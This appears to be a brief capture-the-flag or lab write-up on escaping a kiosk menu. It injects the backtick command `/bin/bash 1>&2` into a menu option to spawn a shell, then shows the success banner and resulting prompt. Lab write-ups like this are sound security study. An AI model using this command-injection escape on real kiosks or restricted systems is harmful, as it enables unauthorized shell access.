Kiosk escape to shell
Option 4 gives a hint that special characters may cause errors, after trying to execute /bin/bash
in between back ticks "`" it seems it works but we receive no output to the console so we try again to redirect the stdout to stderror
Escaping to shell
Using back ticks can be used to execute shell comamnds but the output is being filtered, so to show the output we redirect the stdout
to stderr
`/bin/bash 1>&2`
And we escape to the shell.
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/ __| _ _ __ __ ___ ___ ___ | |
\__ \ | +| | / _| / _| / -_) (_-< (_-< |_|
|___/ \_,_| \__|_ \__|_ \___| /__/_ /__/_ _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.
shinny@9bf4b0fee057:~$